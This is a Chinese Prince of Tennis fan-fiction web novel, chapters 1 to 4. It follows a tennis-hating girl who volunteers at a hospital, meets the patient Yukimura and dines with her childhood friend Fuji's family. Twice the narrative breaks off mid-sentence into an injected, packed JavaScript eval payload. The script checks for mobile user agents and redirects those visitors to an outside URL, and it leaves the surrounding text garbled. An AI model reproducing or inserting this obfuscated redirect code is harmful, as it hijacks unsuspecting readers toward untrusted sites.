《坏了,我被网球做局了》 1. 第一局 行驶的电车上。 因为昨晚窝在被子里看漫画看太晚,我正在座位上耷拉着脑袋,闭着眼睛打瞌睡。 虽然没指望能真的睡着,有几个男高中生自顾自地把车厢当成菜市场,当其他乘客是真人NPC似的高谈阔论。 不但声音聒噪烦人,互相吹嘘的话题还是我最讨厌的网球,不得不说让我很是不爽。 俗话说得好,远离装〇男,从我做起。 尤其是随地大小装的装〇男。 尤其的尤其是打网球的随地大小装的装〇男。 我抬起头,眯着眼睛环视四周,准备换个离这群要在菜市场C位出道的男高中生们远很多点的座位。 可惜整个车厢只有我坐的这排座椅和正对面那排座椅有空位。 对面坐着一个戴着白色棒球帽,看不清楚脸的男生。 身边立着个巨大到塞个名侦探柯北进去都不会有人发现的网球袋。 到底是哪个没眼力见的家伙说日本是网球荒漠的? 我看随便往东京扔一块板砖,都能砸晕一个打网球的中学生。 “不会吧,你们竟然连握拍都不懂?” “要打上旋球,当然得用西方式握拍法啊,看好了,就像这样——” 说话的男高中生突然开始现场零个人在意的握拍示范,坐在我旁边的双麻花辫女生绷紧身体,眼里流露出惊慌的神情。 按照男高中生这种蹩脚妈妈给蹩脚开门——蹩脚到家了的挥拍动作,球拍一不小心就要打到她的可爱脸蛋。 “Excuse me,Is this a tennis court?” (打扰了,请问这里是网球场吗?) 俗话又说得好,忍一时越想越气,退一步越想越亏。 就算我有绝世好脾气,何况我还没有,为了我的乳腺通畅,我决定挺身而出。 当然,保险起见先把锅甩给老美。 我径直对着正在挥拍的男高中生说道。 大概是因为突如其来的美式英语十分有存在感,男高中生停住挥拍的动作,连带着旁边配合吹捧的同伴也扭头看向我。 显然这是一句小学生都能够理解的日常英语对话。 我自认为语速不算太快,几个男高中生没一个听明白的,全都一副摸不着头脑的样子。 我继续抑扬顿挫地说:“Oh, this is the JR. So why are you dumbass practicing tennis here?” (哦,这里原来是电车啊,那你们这群蠢驴为什么要这里练网球?) 余光瞥见旁边的双麻花辫女生满脸惊恐地看着我。 看来她听懂了我在说什么。 唉,真是难为情。 都怪这些打网球的随地大小装的装〇男,害我在这么可爱的女生面前用词如此粗俗。 电车厢晃荡了下,男高中生一时没握住手里的球拍,球拍“啪”的一声掉在地上。 我懒得喷了,说什么高中网球部的王牌选手,居然连球拍都握不住。 话说回来,如果打网球的都是这种人,相信网球很快就能从这个美丽世界消失了。 倒也是一件可喜可贺的事情。 男高中生表情尴尬,僵硬地弯腰捡起球拍。 就在男高中生握住球拍的瞬间,坐在对面的棒球帽男生出声道:“Bingo。” 我闻言看向棒球帽男生。 他低着头,只露出轮廓清晰的下半张脸,还有耳后墨绿色的发梢。 棒球帽男生用漫不经心的,老实说带着点微妙挑衅意味的语气,告诉男高中生什么才是正确的西方式握拍法。 他嘴上说着“顺便”,实际上言语犀利,就差把男高中生的裤衩子都给扒下来。 棒球帽男生毫不留情地指出,刚才男高中生信誓旦旦示范的西方式握拍法,其实是东方式握拍法。 末了,他甚至煞有其事说了句“哦,这两种方法就是常有人搞不清楚”。 如果说我出其不意的设问让男高中生陷入不尴不尬的窘境,主打一个懂的都懂的阴阳怪气。 棒球帽男生这番看似科普、实则支教的发言,让男高中生气得红温不说,还丢脸丢到太平洋那头去了。 这时候,电车在新站点停下。 棒球帽男生从座位上起身,单肩背起半人高的网球袋。 我不禁多看了眼棒球帽男生不算宽阔但绝对铁打一般的肩膀,正准备收回视线。 棒球帽男生刚好抬起脸,他有一双琥珀色的眼睛,眼尾微微上挑,像猫。 原来是个猫系大眼酷拽风小帅哥。 意外和棒球帽男生对视,我驾轻就熟地假装自然地移开目光。 又是个被网球祸害的。 男高中生气急败坏地叫棒球帽男生站住,棒球帽男生却跟没听见一样走出车厢。 紧接着,几个男高中生急匆匆地跟在后面下车。 旁边的双麻花辫女生也后知后觉地反应过来,忙不迭地跑出车厢。 经过我面前时,双麻花辫女生对我扬起一个腼腆又感激的笑容,我顿时心情愉悦。 很好,至少我肉眼可见的范围内没有任何和网球有关的东西了。 我又闭上眼睛打了会儿盹,电车到站,我背起背包下车。 今天是我照例去金井综合病院做志愿者的日子。 再过几天就是中三开学,这也是我春假期间最后一次去医院做志愿者。 我的工作通常是在门诊大厅导诊,简单来说就是帮助患者挂号、就诊、取药之类,对象多半是独自前来的爷爷奶奶。 再加上我对数门外语略知一二,有时也会给语言不通的国际友人提供陪诊服务。 偶尔还会去住院部照看行动不便的病人,对象也多半是爷爷奶奶,还有父母暂时不在身边的小孩。 今天我负责去骨科病房区照看一个手臂骨折的小男孩,带我去病房的护士小姐给我介绍了小男孩的身体状况。 如果护士小姐没有顺带告诉我,小男孩是因为打网球才不小心骨折,我想我脸上的表情会显得不那么僵硬。 小男孩没有在病房内,护士小姐说他可能在花园里和其他小孩一起听人讲故事。 我于是像一个叫贪玩的孩子回去吃饭的老母亲一般去花园抓小孩。 咳,我也不想用这么通俗易懂的比喻。 好歹我确实是一个连男朋友都没交过的妙龄少女。 春和日丽的天气,阳光驱散走风里残留的寒意。 住院部花园的那棵樱花树下,小孩们用报纸垫在草坪上坐在一起。 被小孩子们围坐在中间,正在娓娓道来的少年有着一头柔软的蓝紫色微卷发。 白皙的皮肤,精致到模糊性别的五官,普通的病号服穿在他身上也有一种别样的美感。 是神内病房区的幸村君。 我本来打算原地等待,临近午餐时间,幸村君的讲故事环节很快就要结束。 没想到幸村君偶然抬起头,只一眼就注意到站在远处的我,他微笑着朝我招了招手,示意我过去。 我不由感慨幸村君敏锐的观察力。 既然受到主人公的邀请,我也就不客气地加入听故事的行列,盘腿坐在我要照看的小男孩身后。 幸村君看起来是我见犹怜的病弱美人,声音却没有外表那样柔弱,相反是清洌沉着的少年音。 坦白来说,最初见到幸村君,我以为他是受到病情影响,嗓音才显得低沉…… 时间要追溯到寒假,去年年底的某天,我被安排照看新转入神内病房区的幸村桑。 护士小姐星星眼地告诉我,幸村桑是个超级大美人,又说我们年纪相仿,肯定很有共同话题。 还说幸村桑初来乍到,因为治疗迟迟不见起色,整天愁眉不展,希望我作为同龄人努力开导幸村桑。 没错,护士小姐全程就没有向我提到过“他”的字眼 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经过一番仔细思索,我尽可能采用委婉的说法,小声问幸村桑:“呃,幸村桑,原来你是蕾丝边?” 幸村桑:“……” 幸村桑微笑如春风拂面地问我:“天野桑,原来你一直没看出来我是个男的吗?” 造孽啊。 幸好我还没来得及和幸村桑说,我总觉得幸村桑身上香香的,能不能告诉我用的什么牌子的沐浴露。 不然他铁定以为我是个变态。 “天野桑,志愿者的工作结束后,方便去一趟我的病房吗?” 听幸村君讲完灰姑娘大战哥斯拉的奇幻童话,我和幸村君一起把小孩们送回各自的病房。 我拉着小男孩准备回骨科病房区,幸村君忽然问我。 听起来好像有什么事情,我点头答应,幸村君对我笑着说: “天野桑,下午见。” 最近幸村君的身体状况持续好转,眉眼间不再有我初见时那般郁郁寡欢的神色。 他鸢紫色的双眸微弯,唇边浅淡的笑意宛如窗外洁净的玉兰。 因为小男孩骨折的是右手臂,我需要给小男孩喂营养午饭。 一开始小男孩表现得相当抗拒,估计是不好意思让初次见面的我喂饭。 在我承诺“绝对不会因为我给你喂饭就不把你当男子汉”后,小男孩终于乖乖坐在病床上。 还没吃两口,小男孩冷不防地问我:“天野姐姐,下午那个漂亮的幸村姐姐是要跟你告白吗?” 好在我反应迅速,没有一不留神用勺子戳到小男孩还没换完的门牙。 听到小男孩这么说,我顿时有种“果然不只我一个人这么认为啊”的心情。 幸村君,看吧,小孩是不会撒谎的。 连小孩都觉得你是个漂亮姐姐啊! 我放下勺子,给小男孩解释“那个漂亮的幸村姐姐”其实是“那个漂亮的幸村哥哥”。 小男孩震惊了好一会儿,我心里怎一个爽字了得。 小男孩又说:“所以,那个漂亮的幸村哥哥是要跟你告白吗?” 我这才意识到,我的重点和小男孩的重点不太一样。 我疑惑地问:“告白?什么是告白?告白是什么?谁告白?告白谁?怎么告白?在哪里告白?” 不出意外,小男孩被我一连串的问题绕晕了。 我趁机把餐盘里遭受冷落的西兰花喂进小男孩嘴里。 小男孩苦着一张脸控诉地瞪着我,我笑眯眯地说:“当然不是啊,漂亮的幸村哥哥和我的关系,就跟你和我的关系是一样的。” 我正要进一步说“都是即将康复的住院患者和爱岗敬业尊老爱幼乐于助人的医院志愿者的关系”。 小男孩勉强咽下难吃的西兰花,眨巴着眼睛对我说:“可是,我对天野姐姐你一见钟情啊。” 我:“……?” 2. 第二局 我用“非常感谢你的喜欢但是我目前没有交往男友的打算”的理由郑重其事地拒绝了小男孩。 小男孩起初委屈得快掉眼睛水,好像下一秒就要把咽进肚子里的西兰花吐出来。 我赶紧从背包里掏出一辆法拉利SF90和一辆兰博基尼Essenza SCV12。 没有任何一个小男孩能够拒绝多某卡的合金小车。 得益于我明智的前期准备工作,小男孩瞬间将告白被拒的烦恼抛到M78星云,沉迷于合金小车的绝美外型无法自拔。 直到下午小男孩的母亲赶回病房,我的志愿者工作总算圆满告一段落。 临走前,小男孩依依不舍地将小车还给我,我说:“这是送给你的见面礼。” 小男孩惊喜得两眼放光,小男孩的母亲不好意思地对我连声道谢,我向小男孩和小男孩的母亲摆手道别。 我刚走到电梯厅,小男孩噔噔地跑过来,喊道:“天野姐姐!” 我停在原地,小男孩气喘吁吁地拉了拉我的衣角,示意我低下头。 我配合地蹲下身,小男孩用手掌挡在我耳边,悄悄对我说:“天野姐姐,就算你答应了那个漂亮的幸村哥哥的告白,我也绝对不会认为你双标的!” 我:“……” 我还没来得及回答,小男孩“吧唧”一下在我脸上亲了一口,然后变成一颗红灯笼椒跑走了。 我摸了摸脸颊,忍不住笑起来。 这种笑意一直持续到我敲响幸村君的病房门。 从里面传来幸村君的“请进”,我拉开门,走进病房。 幸村君正靠坐在病床床头,跨床桌上放着一本摊开的植物鉴赏。 他看到我,微微笑着说:“天野桑,看起来心情不错?” 好像有点得意过头了。 我握拳掩在唇边轻咳了声,稍微收敛笑容,询问道:“幸村君,叫我来有什么事情吗?” 听到我这样问,幸村君好看的眉轻皱,面上显出略微失落的神色,“天野桑的意思是,没有什么事情,就不能叫你过来吗?” 我怀疑幸村君在对我使用美人计但我没有证据。 我对眼前楚楚可怜的幸村君说:“幸村君误会了,我不是那个意思,只是问一问。” 幸村君抬眸看了我一眼,依然垂着眼睑,“可是,天野桑都不打算坐下来。” 可恶,我竟然在无意间犯下如此沉重的罪孽。 我赶紧看了看四周,幸村君的病房是高级单人病房,从门口进来先是会客区,放着一张茶几、两套沙发和几把椅子。 我明明记得病床两边应该各放着一把椅子,结果现在完全没有看到。 奇了怪了,难道平时来探望幸村君的亲戚朋友们,全都跟电线杆似的杵在病床周围吗? 我总不可能一屁股坐到幸村君的病床上,于是返回会客区搬了把椅子到病床边。 我再次看向幸村君,发现幸村君用一种欲言又止的神情看着我。 我疑惑地问:“幸村君,怎么了吗?” 幸村君微笑着摇头。 我觉得幸村君向来云淡风轻的微笑好像有点礼貌不失尴尬。 幸村君先是关切地慰问了我近期的志愿者工作状况,接着表达了对我先前帮忙送他回病房的感谢之情。 实不相瞒,我以前对长得特别帅或者特别漂亮的人存在刻板印象,默认他们都走同一种只说“嗯”、“啊”、“是”的高冷路线。 后来我发现,我还是见识太少,谁说长得顶帅或者顶漂亮的人就不能是话痨了? 没有说幸村君是话痨的意思。 幸村君问:“说起来,我还不知道天野桑在哪所学校?” 我正准备回答“东京的一所平平无奇的中学校”。 幸村君继续说:“我在神奈川的立海大附属中学,春季开学就是中三年级了。” 幸村君都已经自报家门,我也不可能藏着掖着,于是说:“东京的青春学园,同样是准中三生。” 虽然但是,神奈川的立海大附中,为什么听起来那么耳熟? 幸村君稍微挑眉,笑道:“青学啊,是关东地区很有名的学校。” 当时的我显然没有听出幸村君的弦外之音,以为幸村君只是在说礼貌的客气话,“算是还不错的学校吧。” 幸村君看着我一会儿,又说:“其实……” 幸村君告诉我,他们立海附中的匿名论坛上,前几天有人上传了一张偷拍照片,照片上是他和我一起在住院部花园里的情形。 等他知道的时候,那篇帖子已经有近两千楼的回帖,他随即联系论坛管理员删掉帖子。 幸村君歉意道:“天野桑,对不起,我会尽快找出偷拍的人,希望不会给你造成困扰。” 将、将近两千楼的回帖? 看来幸村君在学校里的人气是一骑绝尘的程度了。 我想了想,那张偷拍照片上我的样子应该不算太清晰。 否则按照幸村君的受欢迎程度,极个别的疯狂粉丝早就顺着网线摸到学校蹲点我了。 好在现在是春假,我还来得及准备自制辣椒喷雾,以备开学随身携带。 我摇头说:“幸村君不需要说‘对不起’,该说‘对不起’的是那个偷拍照片、私自上传论坛的人。” 幸村君抿起嘴,眼里是自责又懊恼的神情,还有几分不易察觉的凌厉,“如果不是因为我,天野桑也不会受牵连被偷拍。” 这是典型的受害者有罪论,我立刻摆手道:“这个逻辑讲不通啊,幸村君根本没有错。” “总不能怪幸村君长得太漂亮了,摄像头看到幸村君就自动运转了吧?” 幸村君微妙地沉默了下,“总之,我还在联系论坛管理员,因为是匿名论坛,查找发帖人的身份有点困难,可能需要一点时间。” 我点头表示理解,不管是学园偶像还是社团王牌,都不像表面看起来那么光鲜亮丽,“如果能找到偷拍发帖的人,一定要让对方好好道歉才行。” 幸村君像是没想到我会这么说,“天野桑也是这么想的吗?” 我正要顺势表示对偷拍发帖人士的强烈谴责,幸村君话锋忽转:“天野桑,可以给我留个联系方式吗?” “到时候找到偷拍发帖的人,我把对方的手写道歉信发给天野桑。” 我:“啊……啊?” 我还没反应过来,幸村君已经拿出手机,我们就这样莫名其妙又顺理成章地交换了Line。 幸村君的头像是一幅很符合他喜好个性的油画作品。 如果我脑内储存的记忆没有骗我,是雷诺阿的《春之花束》。 至于我的头像,呃,是一只横眉冷对的邪恶比格犬。 幸村君看到我头像时忍不住笑了下,我顿时有点窘……当然是不可能的。 我只会认为幸村君也是被我们邪恶小比可爱到。 幸村君问:“对了,天野桑的名字是?” 在医院做志愿者的时候,我关于名字的介绍通常只包含姓氏,幸村君不知道我的全名也很正常。 我回答:“天野空纯。” 我还没来得及进一步说明汉字,幸村君直接将手机递给我,他的动作和表情都相当自然。 我在备注栏里打下我的名字,拇指和食指捏着靠近底部的边框,把手机还给幸村君。 幸村君神情不变地接过手机,端详着屏幕说:“天野桑,人如其名。” 我不知道该怎么接话,只得领情地笑了笑。 和幸村君又闲聊了几句,我看了眼墙上的挂钟,起身向幸村君告辞。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我的幼驯染是多子女家庭,他有一个姐姐和一个弟弟。 一般来说,夹在中间的孩子家庭地位比较尴尬,是最容易被忽视的那个。 我的幼驯染不属于“一般来说”。 他的家庭非常幸福,父母感情和睦,姐姐是个能力很强性格又好的超级大美女,弟弟表面和他不对付其实心里对他很亲近。 他本人是个远近闻名的天才,完全不存在被忽视的问题。 尽管我恨不得全世界的网球都被三体人用二向箔清除,也不能否认我的幼驯染从小是个网球天才。 在我还没开始讨厌网球的时候,他就已经数次获得小学生网球比赛的优胜。 我们所在的青春学园是关东地区的网球名校,男子网球部是常列关东大赛四强的种子队伍。 中学进入青学后,他加入网球部,没有任何意外地成为正选队员,更是数一数二的王牌选手,有“青学天才”的称号。 大概是因为果蔬店的特卖活动让我挑花了眼,我才有空想这些有的没的。 先拿了两盒草莓、一盒芒果和一盒蓝莓,我在青森产的苹果和长野产的苹果之间陷入了纠结。 “果然还是两种都买吧,各买五个,十全十美,反正苹果放久一点也没事……” “昨天由美子姐姐买了青森产的苹果哦。” “是吗?那我就只买长野产的……” 等等。 手里拎着的购物篮被顺手接过去,我转头,对上栗发美少年笑弯成两道月牙的眼睛。 他的五官是偏纤细柔和的风格,眯起眼微笑的时候像是一只吃到甜甜蜂蜜,心满意足的小熊。 是我的幼驯染,不二周助。 3. 第三局 提前结束完今日份的训练,不二周助背上网球袋,对着旁边球场上正在打自动发球机的好友说: “手冢,那我先回去了。” 好友一边干净利落地挥拍击球,点头“啊”了一声。 不二周助却没有急着要走的意思,笑眯眯地问:“真的不来我家吃晚饭吗?” 用力打出去的球击中墙壁又反弹回来,好友面不改色地继续挥拍,接着“嗯”了一声。 “真可惜,”不二周助笑意不减,像是忽然想到什么似的,“听龙崎教练说,开学后会有一个很厉害的新生,是吗?” 好友耐心回答:“是。” 不二周助用手指摩挲着下颌,“所以,手冢也觉得很可惜啊。” 自动发球机的一轮发球刚好结束,好友停住动作,那双狭长漂亮的丹凤眼始终是古井无波的神情。 “不二,你不先走吗?” 不二周助眨了眨眼睛,“诶,手冢是在对我下逐客令吗?” 好友沉默了下,不再回答不二周助,开始新一轮的回球练习。 不二周助倒也不介意好友的沉默作答,笑道:“没关系,总还有下次机会。” 离开网球俱乐部,不二周助先回了一趟家。 母亲不二淑子和姐姐不二由美子正在厨房里准备今晚的料理。 看到不二周助一个人回来,不二由美子“咦”了一声,“周助,你没有和空纯一起回来吗?” 不二周助解释说:“我先回来放东西,空纯还在医院做志愿者,等会儿她给我打电话,我再去电车站接她。” 不二淑子闻言笑道:“空纯这孩子真是心地善良,难得的春假也去做志愿者工作。” 不二由美子点了点头,“是啊,我还记得小时候,空纯瘦瘦小小的,也不爱说话。” “裕太在公园里被年纪大的孩子欺负,空纯看到后二话不说就冲上去保护裕太,把那些小男生打得鼻青脸肿的,周助在旁边拦都拦不住呢。” 猝不及防地被自家姐姐提到黑历史,不二周助颇有些无奈,“由美子姐姐。” 不二由美子掩着嘴偷笑,“哎呀,放心啦周助,这些话我肯定不会在空纯面前说的,毕竟周助也长大了嘛。” 不二周助决定趁早转移话题:“裕太呢?已经在回来的路上了吗?” 不二淑子说:“裕太刚才打电话回来,说是还在球馆训练,反正时间还早,不着急。” 不二周助点头,上楼回房间放下网球袋,到浴室简单冲了个澡,换了一身休闲装扮。 看了眼时间,估计很快就要接到幼驯染的电话,不二周助准备出发去电车站。 出门前,不二由美子笑着嘱咐自家弟弟:“晚饭还没开始煮,周助你和空纯绕点远路也没关系哦。” 最近时常听到不二由美子类似的调侃,不二周助若无其事地笑道:“姐姐,空纯的那份南瓜咖喱记得不要放辣椒。” 不二由美子露出“包在我身上”的笑容,催促道:“好了好了,周助你快去吧,别让空纯一个人待太久。” 不二周助走到电车站,等了半小时还是没有接到电话,他又看了眼时间,搭上前往金井综合病院方向的电车。 途中拒绝了几位搭讪的年长女性,他走到医院大门附近,正准备给幼驯染打电话,看到女孩从门诊大厅走出来。 早已开春,气温却不见得有多暖,风吹来时还能感受到残留的寒意。 女孩穿着淡蓝色的针织外套和牛仔长裤,瘦削的双肩挂着一个灰色背包。 深棕色的长发随意披散着,素面朝天的模样,皮肤白皙得甚至有些苍白。 周围人来人往,她穿梭在密集的人群间,存在感仿佛随时会被汹涌的人潮淹没。 不二周助把手机收回口袋,隔着一段不远不近的距离跟在女孩身后。 “卧槽,刚才过去的那个女孩子,超——可爱的?” “哪个哪个?我完全没看到啊?” “就是才从我们旁边经过的那个啊……诶,人去哪了?” 有偶然注意到的路人发出诧异的声音,不二周助神色不动,肉眼可见地加快了步调。 女孩径直来到附近商店街的一家果蔬店,站在琳琅满目的水果摊前仔细挑选。 不二周助正在犹豫上前的时机,店老板是个慈眉善目的阿姨,没一会儿就注意到不远处的他。 显然产生了某种误会,店老板一脸“这就是青春啊”的过来人笑容,对他比了个加油的手势。 顶着店老板鼓励的眼神,不二周助走上前,听见女孩的自言自语,顺势接过她手里的购物篮。 “昨天由美子姐姐买了青森产的苹果哦。” “是吗?那我就只买长野产的……” 女孩转过头,即便做好所有心理准备,她蔚蓝色的眼眸出现在视野的一瞬间,仍然叫人不知所措。 纯净轻盈的蓝色宛如洗过的天空,湿漉漉的瞳仁仿佛有千言万语藏在其中。 她的眼神没有丝毫柔弱怯懦,不是需要别人为她遮风挡雨的菟丝花,透着成年人也少有的笃定沉稳。 不二周助握紧购物篮的手柄,一如既往地弯起眼睛笑起来。 “空纯。” * 事前我和周助约定好,等我搭电车时再给他电话,他从家里出发到电车站,我们刚好在电车站碰面。 没想到会在这里碰见周助,我惊讶道:“周助,你怎么过来了?” 周助笑着说:“今天训练结束的比较早,我准备去医院门口等你,不过想到你没有打电话应该还在工作。” “我想着由美子姐姐要做蓝莓派,顺路来附近的果蔬店买点蓝莓。” 原来是这样。我指了指购物篮里的蓝莓,“刚好我买了蓝莓,一盒够吗?要不要再买两盒?” 周助点头,又拿了两盒蓝莓,我们一起挑完长野产的苹果,拎着购物篮到柜台结账。 周助拿出钱夹,我赶紧把信用卡递给店老板,“周助,我总不能两手空空,就去见淑子伯母和由美子姐姐吧?” 周助笑得完全不认为这有什么问题的样子,“其实可以我结账,然后空纯说是你买的?” 我:“……” 我真心诚意地问周助:“周助,我在你眼里,脸皮有那么厚吗?” 周助低头忍不住笑出声来,我也跟着无奈地笑。 店老板是个面相和善的阿姨,可能是看到我们两人说话跟说相声似的,亲切搭话问: “你们两个是兄妹吗?还是……?” 诸如此类的疑问我和周助都听到过很多回。 客观来说,我和周助都是一张脸,两只眼睛,一个鼻子和一个嘴巴。 不说长得一模一样,至少也是毫不相干。 不过,我们的头发和眼睛颜色都是同色系,年纪也差不多,偶尔会被不知情的人以为是亲兄妹。 最开始念幼稚园和小学的时候,我和周助总是一起上学放学,有其他班级的同学以为我的姓氏也是“不二”。 我煞有其事地告诉店老板:“我们两个是异父异母的亲姐弟。” 这可不是我菌子吃多了胡言乱语,我的生日比周助早两个月,周助叫我“姐姐”是合情合理的事情。 至于为什么周助在别人眼里更像“哥哥”,我猜是因为念中学之后他的身高就逐渐超过我了。 店老板被我的玩笑话逗乐,豪爽地送了我们两个橘子,说是澳洲产的,特别甜。 周助一直没说话,只是笑着把那两颗送的橘子从购物袋里拿出来,放进我的背包里。 回去时好巧不巧地赶上电车晚高峰,我和周助站在座椅边靠近门的角落。 尽管是非常拥挤的环境,周助和我仍然隔着半臂的距离。 周助一手扶着竖栏,一手拎着装着水果的购物袋,还用身体帮我挡住其他乘客。 我也扶着竖栏,不存在站不稳东倒西歪的状况,空间相对来说比较充裕。 我小声对周助说:“我这边位置很空,你站过来一点也没关系。” 周助回答:“我没事,你背包里还放着橘子呢,别压到了。” 我万万没想到那两颗免费橘子在周助心里有这么重要的地位。 虽然周助说没事,我还是不能够简单放下心。 周助的长相是男女通吃的类型,搞不好会被奇奇怪怪的人盯上。 尤其是电车这种事故高发区域。 我抬起另一只手,从周助的臂弯下穿过,按着他的后背往我这边靠近一些。 大概是一时没有反应过来,周助站在原地没有动,脊背稍微有点僵硬。 我继续小声说:“我保证一定不会压到橘子,你还是站过来一点吧。” 得到我信誓旦旦的保证,周助沉默片刻,白色球鞋往我的方向细微地挪动了一步。 我正要说再近点也没事,抬头看周助,他正侧头盯着车门窗外,清澈到透出些微冷意的冰蓝色眼眸睁开,双唇轻轻抿着。 我顺着周助的视线看了一眼窗外,细长方框里只有稍纵即逝的昏暗街景。 或许是察觉到我停留在他脸上的目光,周助又将头转回来,对我露出熟悉的眯眼笑。 周助问我怎么了,我摇摇头,笑着说没什么。 “淑子伯母,由美子姐姐,我又又又来打扰啦!” 刚到周助家,我还没来得及换拖鞋,就被由美子姐姐一把抱进怀里。 我的脸刚好陷进由美子姐姐的胸口,为了不被心爱的由美子姐姐认为是变态,我憋气憋得满脸通红。 周助帮我从鞋柜里拿出我的小狗拖鞋,试图把我从温柔乡里解救出来。 “姐姐,空纯快不能呼吸了。” 由美子姐姐不舍地放开我,捧着我的脸心疼地说:“怎么几个星期不见,空纯又瘦了这么多,脸颊肉都快掉没了。” 我口齿不清地说:“苦能素个几长高惹!” (可能是个子长高了!) 由美子姐姐看了看我,又看了看周助,大概没看出来我们的身高差是缩短还是增加。 “空纯真的有好好吃饭吗?等开学后空纯干脆和周助一起回来吃饭好了。” 我赶紧摇头说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936267|177226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唔用麻烦惹由美几姐姐,揪句放学后要掺嘎社谈训练,偶也要去啄兼职……” (不用麻烦了由美子姐姐,周助放学后要参加社团训练,我也要去做兼职……) 听到我这句话,周助微笑不语地看了我一眼。 啊,我好像还没有和周助说过,开学后要去咖啡店做兼职的事情? 由美子姐姐松开手,温柔地摸了摸我的脑袋,“会不会太累了?空纯一定要注意好好休息哦。” 我小鸡啄米似的点头,“由美子姐姐我会注意的,我是归宅部,太早回公寓也闲得无聊,刚好做点兼职打发时间。” 周助拎着水果购物袋去到厨房,淑子伯母正在做我爱吃的虾仁豆腐汤。 我吃不了辣,我的那份南瓜咖喱也特意没有放辣椒,我含泪决定要吃两大碗。 由美子姐姐把试图留在厨房打下手的我推到客厅,让我乖乖坐在沙发上看电视,周助端来洗净切好的水果放在茶几上。 果盘里的草莓被细心摘掉草莓蒂,苹果切成一块块的兔子苹果,芒果也变成方块状堆在小碗里。 我一边咬着兔子苹果,和周助提起去咖啡店做兼职的事情,“咖啡店离学校和公寓都不远,走路二十分钟就到了。” “店长是位很有英伦绅士风度的爷爷,店里还有个超级漂亮的短发姐姐,我猜应该是大学生做兼职。” 周助问:“晚上回家会很晚吗?” 我说:“还好,我不负责收尾工作,最晚七点钟就能走,到公寓不超过七点半。” 周助看着我,脸上还是那种蜂蜜小熊似的微笑,突然问:“是女仆咖啡厅吗?” 我一不小心差点被苹果块呛到,“咳咳,绝对不是!” “是非常普通的那种咖啡厅,没有统一着装的要求,店长说穿方便行动的衣服就可以。” 周助下意识地抬起手,好像要拍拍我的背帮我顺气,看我能完整地说完一句话,又把手放了下去。 周助还没有说话,玄关传来门打开的声音,紧接着是裕太君不可思议的大叫声: “啊啊啊老妈老姐!!!为什么全家没有一个人告诉我今晚空纯也会来啊!!!” 我被裕太君的夸张反应逗笑,把吃到一半的兔子苹果放在小碟子里,起身往玄关走去。 “裕太君,说了多少次了,我年纪比你大,你至少要叫我‘空纯姐’吧?” 和周助翩翩美少年的中短发不同,裕太君剃着很有男子气概,同时也很考验颜值的短平头。 显而易见,不二家的帅哥美女基因让他轻松扛住了这种高难度发型,右额角的小疤痕更给他增添了几分倔强的少年气。 裕太君“嘁”了一声,“拜托,我已经有老姐了好不好,想让我叫你姐下辈子再说吧。” 我假装无奈地叹气,体会到周助面对青春叛逆期弟弟的心情,开始打回忆牌:“真怀念小时候裕太君一口一个‘空纯姐姐’的日子啊。” 裕太君呲牙咧嘴,整个人处于抓狂的边缘,“不要突然说那种让人起鸡皮疙瘩的称呼喂!” 我笑眯眯地终结话题:“我今天买了草莓,裕太君洗完手快来一起吃吧。” 裕太君停顿住,脸上高兴的表情藏都藏不住,当然还是嘴巴很嫌弃身体很正直地嘟囔说:“你来干嘛还要特意买东西啊真是受不了。” 走到客厅,茶几上三十秒钟前还是满满当当一盘子的草莓突然集体蒸发。 疑似罪魁祸首的周助微笑着对裕太君说:“裕太,真是抱歉,因为草莓太好吃,等我回过神来的时候已经吃光了。” 裕太君:“……” 裕太君张开嘴,闭上,又张开嘴,又闭上,最后咬紧牙关憋出来一句:“你绝对是故意的!!!” 可怜的裕太君都快被气成圆鼓鼓的河豚了,背着网球袋把上楼的台阶踩得“咚咚”响,周助倒是笑得连眼睛缝都看不到。 我正要问周助是不是还有一盒草莓没有拆封,周助知道我打算问什么,弯腰拿出一盘满满当当的草莓重新放回茶几。 抱歉,我的幼驯染就是一只喜欢捉弄他可爱欧托托的腹黑小熊。 我目光幽幽地看着周助,“周助,你知道为什么裕太君最近都不叫你‘哥哥’吗?” 周助一脸无辜地歪了歪脑袋,“裕太最近没有叫我‘哥哥’吗?” 我:“……” 周助已经沉浸在享受看到裕太君被他气得跳脚的艺术里不知天地为何物了。 我嘀咕一声:“周助你这个抖S。” 不知道周助有没有听到,反正他笑着对我招手说:“这个草莓真的很甜,趁裕太还没下来,空纯我们一起把草莓都吃光吧。” 我十分感动,然后拒绝了周助毫不拐弯抹角的共犯邀请,用叉子戳了块兔子苹果吃。 咬着脆脆甜甜的长野产苹果,我总觉得哪里怪怪的,一时又想不起来到底哪里怪怪的。 直到晚上回到公寓,我看完连载漫画的最新话感动得稀里哗啦,迷迷糊糊快睡着时才想起来。 嗯? 我没吃完的那半块兔子苹果去哪了? 4. 第四局 后天是全校学生的开学典礼,明天是一年级新生的入学典礼。 考虑到我一不是需要致校长辞的学园理事长,二不是需要致欢迎辞的学生会长,三不是需要迎新的社团负责人,明天对我来说同样也是一天假期。 我计划今天去漫画书店泡个一整天,明天再去漫画书店泡个一整天。 漫画书店老板是个戴眼镜的古板阿姨,出了名的讨厌站着白看书的客人。 我怀疑将来有一天,老板阿姨会把书店名改成“站着白看书的都从老娘店里滚出去书店”。 店里有个兼职的大学生姐姐,长发温柔,至少从外表看不出来她经常和老板阿姨一起比划奇奇怪怪的暗号。 我猜那些暗号是为了方便交流如何把站着白看情〇写真的上班族赶出去。 我买完目前追的连载漫画的最新册,在兼职姐姐的帮助下把漫画书抱到靠近最后一排书架的角落。 